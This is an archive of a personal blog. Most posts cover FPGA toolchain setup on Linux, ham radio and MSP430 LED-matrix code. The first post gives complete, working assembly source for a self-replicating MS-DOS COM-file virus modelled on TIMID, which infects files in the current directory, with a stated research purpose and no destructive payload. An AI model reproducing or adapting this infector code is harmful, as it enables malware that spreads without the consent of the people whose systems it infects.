Tuesday, August 28, 2012

Writing my First Computer Virus

I write this, in part, as a nod to Herm1t over at VX Heavens, which has recently been shutdown by the Ukrainian government. Computer viruses, and computer virology are best explored in a safe and controlled environment, and it is our right as researchers to do so. VX Heavens has shared wonderful information for 2 decades, affecting the industry in positive ways that we'll never see the end of.

Those who know me very well know that one of the primary reasons for my learning how to write software, was to write computer viruses. Those who don't know me extremely well may mistakenly assume this was for malicious reasons. It was not, it's somewhat of a secret but there was a time in my life when I was not good with computers at all. If you really want to know why I decided to I wanted to write viruses, you'll just have to ask me in person, because it's somewhat of a personal story for me and it's kind of too dumb to get into here.

For the rest of you who don't care, here's a story about the first, ever, computer virus I've written! To be clear this is a virus in a stricter definition than the public tends to use. This virus infects COM files (yeah, remember those?) and runs in a fairly confined environment (it's current directory). It has no malicious content, with the exception of possibly violating Title 13-2316 paragraphs 2 & 3 (Arizona Title 13-2316). Which of course requires it to be occurring without permissions. Since I'm writing it and keeping it in a virtual machine it pretty much means I'm 100% in the clear. So now that the legal stuff is out of the way, let's talk implementation.

The system I am interested in developing in will be a MS-DOS 6.22 system. I'll be running it in a virtual machine which I will leave the setup as an exercise for the dedicated student. Next I will employ the assembling prowess of the Flat Assembler (FASM). This computer virus is heavily based on the TIMID virus described by Dr. Mark Allen Ludwig in his "The Little Black Book of Computer Viruses." (Amazon)

So let's begin, a little theory seems a good start.

COM files are flat files that are loaded into memory directly. The first bytes (offset 0x0000) are loaded into offset 0x100 in memory and then up. The reason for the 256 byte offset is a throwback to the CP/M operating system called the Program Segment Prefix (PSP).  For the particularly curious Wikipedia has a fairly well rounded article here.

Viruses may have several goals and these goals are up to the implementer to choose. For instance, the number 1 priority may be to replicate itself. A reasonable number 2 priority may be to survive. Since I'm really just interested in the fundamentals of virology we'll stick with focusing merely on this number 1 priority - Replication.

The virus, in order to replicate has many options. It may attach itself to the beginning of a file, or to the end, or break itself up and spread itself around in the file (e.g. CIH). Inserting into the start of COM file is difficult if there are any absolute offsets used in the program, as this will shift all of these offsets. And breaking it up, is obviously the most complicated option, though likely one of the best to subvert detection.

Basically, this is my first virus so we'll stick with the easiest, inserting the virus at the end of the COM file.

We'll need a few things:

  1. A routine which will identify potential files to infect. 
  2. A routine to perform the infection while preserving enough information to reconstruct the original code to continue to execute effectively.
  3. A payload (may be as simple as just a ret), we'll use a print call when infecting, same as TIMID.


A common issue is that the viral code, when attached to the end of a file will regularly appear in a different location in memory. So we can not rely on too many absolute addresses (with a few exceptions related to the operating system (e.g. the PSP mentioned above). My solution involves determining the current code location and then referencing data members at a regular offset from there, this is probably the most notable variation of TIMID, and the rest is largely the same.

I use various DOS syscall methods, one of the most important is setting up a temporary Disk Transfer Area (DTA) which holds the file handles and data while we read and write files. For a reference to the other DOS syscalls see here.



;Origin is 0x100 - This is for COM files, which include
; a 256 byte PSP (Program Segment Prefix)
org 0x100
use16

start_file:
host: 
        jmp     near virus        ;Make it look like this file is infected.
                db 'Vx'
virus:
        sub     esp, 0x80        ; new DTA space.
        mov     ebp, esp         ; ebp will point to our DTA       
        lea     dx, [esp]        ; address for new DTA
        mov     ah, 0x1A         ; set DTA
        int     0x21             ; syscall, create new DTA space.

        call    get_start        ;
get_start:
        pop     si               ; pull the EIP from the stack, this is our location.
        sub     si, get_start    ; si is ready to handle offsets to the data section

        call    find_file        ; Find an infectable file.
        jnz     fin              ; Failed to find a file, bail.       
        call    infect           ; Infect the file!        
fin:
        push    si               ; Reimage the host bytes
        lea     si, [si+HOST_IMAGE]      
        lea     di, [0x100]      ; Default starting position      
        mov     cx, 0x05         ; Number of bytes to image
        rep     movs  BYTE [di], [si]    ; Copy 5 bytes from *si to *di
        pop     si               ; Restore si

        mov     dx, 0x80            ; reset to use default DTA
        mov     ah, 0x1A            ; set DTA function
        int     0x21                ; syscall

        mov     esp, 0xFFFF         ; 
        mov     ebp, esp            ; Restore the stack

        push    0x100               ; push the "new" return address
        ret

;-----------------------------------------------
;Find infectable files.
;-----------------------------------------------
find_file:
        lea     dx, [si + files]        ; searching COM files
        mov     ah, 0x4E                ; search function id
        ff_loop:
                mov     cl, 0x06        ; attribute mask
                int     0x21            ; syscall
                or      al, al          ; checking success: non-zero return (success)
                jnz     done            ; on failure, no file found we're done.
                call    check_file      ; check if this file is infectable
                jz      done            ; file is infectable, return to main
                mov     ah, 0x4F        ; file was not infectable, search next (function id)
                jmp     ff_loop         ;   --

check_file:
  ;First we check the size of the file to ensure our virus can fit in it!
        push   dx
        xor     bx, bx                  ; Clear bx, this represents our soon to be file handle.
        mov    ax, [ebp + 26]              ; Value @ Defaut DTA + offset to file size
        cmp    ax, 0x05                    ; Make sure it's *atleast* 5 bytes
        jl      bad_file                ; File is too small!
        add     ax, end_file - start_file + 0x100       ; End of virus - start of virus + size of PSP
        jc      bad_file                ; File is too big to accommodate this virus.
       
        mov     ax, 0x3D02              ; Open file with read/write
        lea     dx, [ebp + 30]          ; Default DTA + offset of file name
        int     0x21                    ; open file.       
        jc      bad_file                ; failed to open file?

        mov     bx, ax                  ; Open succeeded, file handle is in bx.
        mov     ah, 0x3F                ; Read file
        mov     cx, 0x05                ; 5 bytes worth
        lea     di, [si + START_IMAGE]  ; load the effective address of the start_image
        mov     dx, di                  ; dx is actually used in the sycall.
        int     0x21                    ; syscall
        jc      bad_file                ; error, and we've already ruled out partial reads (less than 5)

        ;------Ensure the file is not already infected.
        cmp     BYTE [di], 0xE9         ; Check for the jmp near.
        jne     good_file               ; It wasn't, so it's not infected.
        cmp     WORD [di+3], 0x7856     ; Check for 'Vx'
        je      bad_file                ; The file was infected, next file.

        good_file:
                pop     dx              ; Restore registers
                xor     al, al          ; Return status is good
                ret                     ; Return to caller with the file in the DTA.

        bad_file:
                or      bx, bx          ; Checking for a file handle
                jz      no_handle       ; no handle to close
                mov     ah, 0x3E        ; close file
                int     0x21            ; syscall - close the file.
                no_handle:
                        pop     dx      ; Restore registers
                        mov     al, 0x01; Return status is no file found
                        or      al, al  ; Set flags for status check
                        ret             ; Return to caller with no file found.
done:     
        ret
;-----------------------------------------------
;Infect, copy mechanism
;-----------------------------------------------
infect:    
        ;At this point the file is still open, the handle is in bx.
        lea     di, [ ebp + 26]         ; size of com file being infected
        mov     ax, [di]
        mov     cx, ax      
        lea     di, [si + START_VIR + 1]; The jmp offset
        sub     cx, 0x03                ; Remove the near jmp size. 
        mov     [di], cx                ; the offset to jmp to

        xor     ax, ax                  ; Seek to start
        mov     cx, ax
        xor     dx, dx
        mov     ah, 0x42            ; start of file
        int     0x21                ; syscall        

        mov     ah, 0x40            ; write to file
        mov     cx, 0x05            ; writing 5 bytes.
        lea     dx, [si + START_VIR]
        int     0x21                ; write file

        xor     ax, ax              ; Seek to end
        mov     cx, ax
        xor     dx, dx
        mov     ax, 0x4202          ; end of file
        int     0x21                ; syscall

        mov     ah, 0x40
        mov     cx, end_file - virus;size of virus
        sub     cx, 0x05            ; Write all but 5 bytes, this will get start_image
        lea     dx, [si + virus]    ; virus beginning        
        int     0x21                ; copy the virus out!

        mov     ah, 0x40            ; do another write to give HOST_IMAGE
        lea     dx, [si + START_IMAGE]  ; to the newly infected file.
        mov     cx, 0x05            ; Just 5 bytes.
        int     0x21                ;

        mov     ah, 0x3E            ;close file
        int     0x21                ;syscall

        push    dx                  ; print infection message
        lea     dx, [si + banner]
        call    print
        pop     dx
        ret

;-----------------------------------------------
;Helper methods, these'll go away in the final product
;-----------------------------------------------
print:
        push    ax         ; Makes this function non-destructive.
        mov     ah, 0x09   ; Print ASCIIZ
        int     0x21       ; print whatever is in ds:dx, this is for debugging
        pop     ax         ; Restore registers    
        ret                ; Return to caller
;-----------------------------------------------
;Data Section
;-----------------------------------------------
        banner          db 'Catatonic says "Hi!"', 0x0D, 0x0A, 0x24
        files           db '*.COM', 0x00
        START_VIR       db 0xE9, 2 dup(?), 'Vx'
        START_IMAGE     db 0x05 dup(?)
        HOST_IMAGE      db 0xB8, 0x00, 0x4C, 0xCD, 0x21 ; simple exit program.
end_file:

That's it! Sorry I'm not going more in depth on the specifics - this post is several months old for me now and I figured it'd just push it out instead of breaking it up or other things.

I believe this source code is good (if i recall correctly) and here is a screen shot of the results:


Have fun and stay safe!

Monday, January 23, 2012

Using Xilinx ISE WebPack IDE With Digilent Basys2

Prologue:
Presently the bulk of our focus has laid in configuring a Linux machine to have the capacity to act as a development environment for the Digilent Basys2 Development board. In this document we will walk through the process of loading the basic default program into the Basys2 board.

This document assumes that you’ve erased your Basys2’s Electrically Erasable Programmable Read Only Memory (EEPROM) data or is running some design other than the design shipped with the Basys2. If this is not the case, to ensure that the Basys2 is erased you may execute the following while your Basys2 is connected via USB and is TURNED ON (make sure the power switch is in the ON position):
djtgcfg erase -d Basys2 -i 1

Instructions:
First and foremost we must start the Xilinx ISE WebPack Integrated Development Environment (IDE). To do so, assuming you have used the default installation path, you may execute (similar for different versions) the following:
cd /opt/Xilinx/13.3/ISE_DS/ISE/bin/lin/
./ise &
Minimizing the IDE and opening a web browser, we may goto the following location: http://www.digilentinc.com/Products/Detail.cfm?NavPath=2,400,790&Prod=BASYS2

Locate the “Basys2 User Demo project” and download it.

In a terminal you may unzip the downloaded file using the unzip program:
unzip Basys2UserDemo.zip
This creates a pdf and a folder “Basys2UserDemo”. Let’s give focus back to the ISE WebPack IDE (Maximize it) and then select:

  1. File -> Open Project
    1. Browse to the unzipped folder location / “UncompiledBasys2UserDemo”
    2. Change “Files of Type” from “ISE Project Files (*.xise)” to “Old ISE Project Files (*.ise)”
    3. Select “Basys2UserDemo.ise” and Click “Open”
    4. When prompted to to mirgate the project, Click “Migrate Only”
  2. On the left there is a “Panel” called “Design” this may be toggled using “View -> Panels -> Design” though we will ensure this is checked and visible.
  3. Identify the Basys2UserDemo - Stuctural node in the Design Panel “Hierarchy,” select it and then right click on it.
  4. Select “Design Properties...”
  5. Ensure the following:
    1. Top-Level Source type: “HDL”
    2. Evaluation Development Board: “None Specified”
    3. Product Category: “All”
    4. Family: “Spartan 3E”
    5. Select “Device” to match if you have a 100K die or 250K die, 100K dies use XC3S100E and 250K dies use XC3S250E
    6. Package: “CP132”
    7. Speed: “-5”
    8. Click “OK”
  6. Identify the Basys2UserDemo - Stuctural node in the Design Panel “Hierarchy,” select it and then right click on it.
  7. Select “Implement Top-Module”
  8. Wait until all processing is complete...
  9. Identify “Generate Programming File” in the Design Panel under “Processes: Basys2UserDemo”, right click and select “Process Properties”
    1. Select “Startup Options” Category
    2. Ensure:
      1. FPGA Start-Up Clock: “JTAG Clock”
      2. Click “OK”
  10. Identify “Generate Programming File” in the Design Panel under “Processes: Basys2UserDemo”, right click and select “Run”
    1. This Generates a .BIT file which can be used to program the FPGA.
  11. From a terminal enter into the location enter the Basys2UserDemo/UncompiledBasys2UserDemo” folder and execute the following
    1. djtgcfg prog -d Basys2 -i 0 -f Basys2UserDemo.bit
    2. -i 0 : is the FPGA’s Random Access memory (RAM), this will not permanently load the User Demo to the Board.
    3. (Read the “Linux: Getting Started, Using Digilent Adept 2“ for more information if necessary)
Congratulations you should now have the user demo running on your Basys2! To Confirm this the 7-Segment displays on the bottom of the Basys2 will be counting from 0 to F in Hexadecimal and repeat.

Friday, January 20, 2012

Installing Digilent Adept 2 on Linux Workstations

So in my previous post I walk through the somewhat long, boring, but important steps, for installing the Xilinx ISE WebPack software. This is the software used for creating hardware designs, compiling them, optimizing them, routing them, and eventually it spits out a '.bit' file.


So in theory, once you've compiled a design, or have a .bit file for your particular Field Programmable Gate Array (FPGA) or Complex Programmable Logic Device (CPLD), you'll be ready to load it onto your device of choice! To do these we use Digilent Adept 2.


Digilent Adept 2: The Adept Runtime & Utilities consists of the shared libraries, firmware images, and configuration files necessary to communicate with Digilent's devices.
  1. Goto: http://www.digilentinc.com/Products/Detail.cfm?Prod=ADEPT2 and download the Run time software for your Linux architecture (32 or 64 bit)
  2. Decompress the downloaded file, this requires gzip
    1. eg. “gzip -d digilent.adept.runtime_2.8.2-i686.tar.gz”
  3. Untar the the decompressed file, this requires tar
    1. eg. “tar -xvf digilent.adept.runtime_2.8.2-i686.tar”
  4. Enter the directory which contains the run time installer
  5. *Execute the install.sh script, this will require superuser privileges (speak with your system administrator)
    1. eg. “sudo ./install.sh”
    2. Press [enter], press [Enter]
*As of this writing the Digilent Adept 2 runtime install.sh encounters an error on 3.x.x kernels that use udev. It should be fixed soon.

  1. Goto: http://www.digilentinc.com/Products/Detail.cfm?Prod=ADEPT2 and downlaod the Utilities software for your Linux architecture(32 or 64 bit)
  2. Decompress the downloaded file, this requires gzip
    1. eg. “gzip -d digilent.adept.utilities_2.1.1-i686.tar.gz”
  3. Untar the decompressed file, this requires tar
    1. eg. “tar -xvf digilent.adept.utilities_2.1.1-i686.tar”
  4. Enter the directory which contains the utilities installer
  5. Execute the install.sh script, this will require superuser privileges (speak with your system administrator)
    1. eg. “sudo ./install.sh”
    2. Press [enter], press [Enter]
I use a Digilent Basys 2 Development Board because it's cheap enough for me to afford, I also have a C-MOD which I have not used yet but will likely utilize at sometime this year. If you've done both the ISE WebPack install and the Adept 2 installation you should now have the necessary software to load new designs to devices of your choice!

Tuesday, January 17, 2012

Installing Xilinx ISE Webpack on Linux workstations

Recently I pulled out the old Field Programmable Gate Array (FPGA) from my desk and dusted it off to get it ready for some small projects. I'd just like to get a little more into digital design, etc. My experimenter board of choice is the Digilent Basys2 Spartan 3E FPGA Board. This is my board of choice because it's not very expensive and though many people tell me the Spartan 3E are obsolete/deprecated. However, this is what I have so it's the board and chip I'll use.

But before I can go off and put any designs on the board I need to pick up some digital design software. I'll be using Xilinx's ISE WebPack (currently version 13.3).

The following outlines the steps to getting started with Xilinx ISE WebPack on Linux based machines.

  1. Goto: http://www.xilinx.com/support/download/index.html/content/xilinx/en/downloadNav/design-tools.html and download the latest version of Xilinx ISE WebPack for your platform (Linux Full Installer).
    1. You will need to register a Username/Password in order to get the download, this registration will also be used when getting the Licensing file to activate ISE WebPack, so keep a copy safe and available!
  2. Confirm the download was successful by comparing MD5 checksums on the archive to the information at the above location.
    1. This requires openssl
      1. eg. “openssl md5 Xilinx_ISE_DS_Lin_13.3_O.76xd.1.0.tar”
  3. Untar the archive
    1. This requires tar
      1. eg. “tar -xvf Xilinx_ISE_DS_Lin_13.3_O.76xd.1.0.tar”
  4. Enter the directory for the Xilinx installer:
    1. eg. “cd Xilinx_ISE_DS_Lin_13.3_O.76xd.1.0”
* ISE WebPack will ask for an installation directory during execution, the default is “/opt/Xilinx/13.3” (for the latest version as of 1/5/2011). The effective user must have write access to “/opt/” in order to install to this location. Speak to your system administrator for more information.
  1. Execute xsetup
    1. ./xsetup
  2. Click “Next”
  3. Review 1 of 2 License Agreement, click “I accept...” followed by “Next”
  4. Review 2 of 2 License Agreement, click “I accept...” followed by “Next”
  5. Select ISE WebPack, click “Next”
  6. Check the following:
    1. “Acquire or Manage a License Key”
    2. “Enable WebTalk to send software...”
    3. “Ensure Linux System Generator Symlinks”
    4. Click “Next”
  7. Check “Import tool preferences from previous version,” click “Next”
  8. Click “Install”
  9. Select “Get Free ISE WebPack License,” followed by “Next”
  10. Click “Connect Now”
    1. A browser should open redirecting you to login to register your ISE WebPack OR
    2. If this does not occur, you may follow the following link:http://www.xilinx.com/getlicense/
  11. Login using your credentials acquired through the registration process in Step 1.
  12. Confirm or Modify any registration information and click “Next” in your web browser.
  13. Continue any on screen instructions for generating a License Key [Unfortunately: I did this a while ago and no longer need to do it again. I merely managed my existing license and had a new copy of the Xilinx.lic file (the license) to me.]
  14. Once you have your Xiling.lic file emailed to you, download it to any directory and Select “Copy License File”
  15. Browse to the file location select the file, you will be prompted with a successful message, click “OK” followed by “Close”
  16. Click “Finish”
This concludes the installation of Xilinx ISE WebPack.

Coming soon, a quick intro to using ISE WebPack to load the default program...

Monday, February 28, 2011

Trying out Fldigi

As previously mentioned, I am a ham nerd. Yep, I like listening to the radio. Morse code? Never touched it. That's alright though, modern technology has removed the requirement for knowing those sorts of things (almost).  For instance, using computers to handle that work for us. Of course someone had to know it to make the software originally. But collaborative works are like that, you each do your part for the greater good.

Enter Fldigi. It's, simply put, a modem that runs off a sound card. It comes with a plethora of operating modes and data rates and allows for very available methods to do digital transmissions using your radio. I will have to point out that the first night I tried this I did not do any transmissions. I just listened in. Locally I found the VOR of our airport sending out it's identifier, tuned in, and watched Fldigi do it's magic.

Some configuration was required but it was trivial. Set the mode to CW, zero'd in on the frequency, and it automagically detected the rate. Then there it was... typing slowly out... my local airport's identifier. Very, very, very cool.

Here's what I needed:
My Yaesu FT-60R
Pryme Hand Mic
Male-Male 3.5mm 3 conductor (stereo) cable
My Computer, running Ubuntu whatever - it's up to date.

Steps to achieve to this:
Turn radio on tune to frequency performing digital transmission (or CW in my case)
Plug hand mic into radio
Plug audio cable into Headphone jack of hand mic
Plug audio cable into aux line in, or Microphone of computer
Install Fldigi: sudo apt-get install fldigi; fldigi &
Go through and configure your options, ignoring PTT for the moment
You should see the waterfall (pretty blue, yellow, orange) flowing at the bottom
Move the Red-box over the band of yellow/orange which looks like morse code
Magic happens.

Presto that's it!

Thursday, January 27, 2011

Modding My Yaesu FT-60R

Yes, I am a Ham Nerd...

The decision to become a ham was a actually made years ago. Though I didn't pursue it then... I've since come to realize that telecommunications are as very important to my life as verbal and non-verbal communication. I spend a lot of time on the Internet and the radio.

Alright, not as much on the radio as other hams. But I do enjoy catching the local nets from time to time. Hearing the other people out there, being able to chit-chat with the locals and the DXers (if I get the opportunity). Get to hear some fascinating things... especially about Medicare and rascal scooters.

So I get it into my head to modify my FT-60R, the reasons are because it should be fairly easy, will exercise some basic de-soldering skills, and these modifications would open up my radio's ability to transmit from 137-174 Mhz and 420-470 Mhz. I'll need to check this per country, but I believe this may come in handy elsewhere (literally). Not to mention, as my friend Bill Wells always said... "Carry an umbrella and it won't rain." In the highly unlikely event it was ever actually needed, it would be available.

In the U.S. as an amateur you may transmit between 144-148Mhz and 420-450 Mhz. Obviously this modification would open me up to the possibility of legal issues in the U.S. if I were not careful. Luckily I am familiar with these specifics so keeping within our little play pin in the U.S. should be no problem what so ever. In fact I keep a reference copy of the ARRL US Amateur Radio Bands on my cell phone for reference (ham nerd, remember?)

Now, the mod... I read someone else's work on this. Originally I read this when I first bought my radio and wasn't sure if I'd actually give it a try. But after watching a bunch of videos on SMT, I thought this may be an excellent way to ease into that sort of thing. The article I followed may be found here.

So this is not a terribly complicated process, in fact it's pretty simple. Just remove 1 resistor. Remove 1 very, very, very small resistor.  Remember when I said it'd be fairly easy, exercising basic de-soldering skills? Well it would have been. If it wasn't for this...


Turns out buying a radio from the reds in China is both cheaper and will come without a band filter. So it would appear my radio already has the ability to transmit at it's highest potential, since it's missing that little resistor and all. A job well... um... easily... um... not done by me at all. But the radio went back together pretty smoothly ^_^ once I remembered to the put the battery clip back on before putting the screws in again.

Cheers

Wednesday, January 12, 2011

ASCII Experimenter's Coding and Process, Part 1

First blog of the new year, I am excited.


All inventions start with an idea. That idea is grown over time into a design. The design is formalized and then you can start building, prototyping, discovering those things you may have missed and need to be fixed. That's where I am right now, redesigning portions of my little device. Originally I was thinking I could drive whole rows with the 74HC08's. These devices have a maximum current rating of about 25mA, which frankly isn't enough to run 4 x 20mA LEDs simultaneously. I say 4 because the 8 are split across 2 chips. Luckily I can still use them, I just need to be a bit creative.

By arranging my 2 shift registers (74HC164) in a rectangular fashion I can form a grid space of 64 states. Conveniently I have 64 LEDs I may be interested in driving, what providence! Now my 74HC08's can only drive 1 LED at a time each because the Red LEDs in my matrix run at 20 mA and I'd like to maximize this current flow for the effect of viewing the LEDs.

So if I shift in a 1 into both the row and column registers and set the OUT_EN, output enable (which ties into the 74HC08s), HIGH and then the first LED in the corner will turn on. The row register activates the current sinking transistor which will sink the current sourced from the selected 74HC08 pin.

So let's look at how to do this in code. Unfortunately I've skipped the process of designing and watching this code fail (a lot), so I will only be sharing the more decidedly interesting parts of the program in the articles to come. Most of which revolves around getting the data into the chip to begin with. Keeping in mind this is my first ever electronics project of my own design.

Right... code... I assume all I/O has been correctly setup (and I'll show this in the future) for now I'll make a little function called displayMatrix(), void return type and no arguments. Parameters are passed in global memory space (aka the stack). This function also relies on a delay function, which is a small tight loop to add a short delay of a couple of cycles, I'll include this as well:

#define LEDS P1OUT
#define OUT_EN   1
#define ROW_DATA 2
#define ROW_CLK  4
#define COL_DATA 16
#define COL_CLK  32
#define DELAY_TICKS 30

void displayMatrix(void)
{
        volatile unsigned int row;
        volatile unsigned int col;
        LEDS &= ~(OUT_EN | ROW_DATA | COL_DATA | ROW_CLK | COL_CLK); //Clear data and output enable
        LEDS |= ROW_DATA; //Set row data lines, start at row 1.
        LEDS ^= ROW_CLK; //Clock row data in
        LEDS ^= ROW_CLK;
        LEDS &= ~(ROW_DATA); //Disable row data
        for(row = 0; row < 8; row++) //Rows
        {
                LEDS |= COL_DATA; //Set column data, start at column1.
                LEDS ^= COL_CLK; //Clock column data in
                LEDS ^= COL_CLK;

                LEDS &= ~(COL_DATA); //Disable column data             
                for(col = 8; col > 0; col--)//Columns
                {
                        LEDS |= OUT_EN & (matrix[row] >> (col-1) & 0x01); //Enable output
                        delay();
                        LEDS &= ~(OUT_EN); //Disable output.
                        LEDS ^= COL_CLK; //Next column
                        LEDS ^= COL_CLK;
                }
                LEDS ^= ROW_CLK; //Next row
                LEDS ^= ROW_CLK;
        }
}
void delay(void)
{
        volatile unsigned int k;
        k = DELAY_TICKS;
        while(k>0)
                k--;
}

This does have some requirements, for instance due to the nature of the >> and & logic I use, it requires the OUT_EN (P1.0) to be the LSB. All other pins I believe are safe from this restriction and may be moved about at will, as long as you remember to setup the bits in the #define section correctly. Of interesting note, using the TI MSP430- Launchpad I originally used P1.3 for the COL_CLK, this led to a drastically unreliable display.

As it turns out, there is enough noise on this pin when using the launchpad to trigger the 74HC164 clock an extra time or more when transitioning! This noise is caused by a switch attached to that same pin [image to come]. Rather than adding hardware to fix this, I merely avoided it's use, though I do plan on using it with 74HC151 in the future on that pin, but it'll be as an input instead of an output.

This code turns on 1 pixel at a time and splits the entire on time across all 64 pixels, displaying or not. This gives it a uniform brightness which I believe is desirable. My question to everyone else out there.
Can you see a reasonable way to turn 2 LEDs on at the same time (only 1 per 74HC08)?
I have some ideas on how to do this too and I'm willing to spare another pin for a secondary OUT_EN2. Hopefully I'll get some updated schematics up soon too, to assist anyone interested in my design stuff! Thanks :-D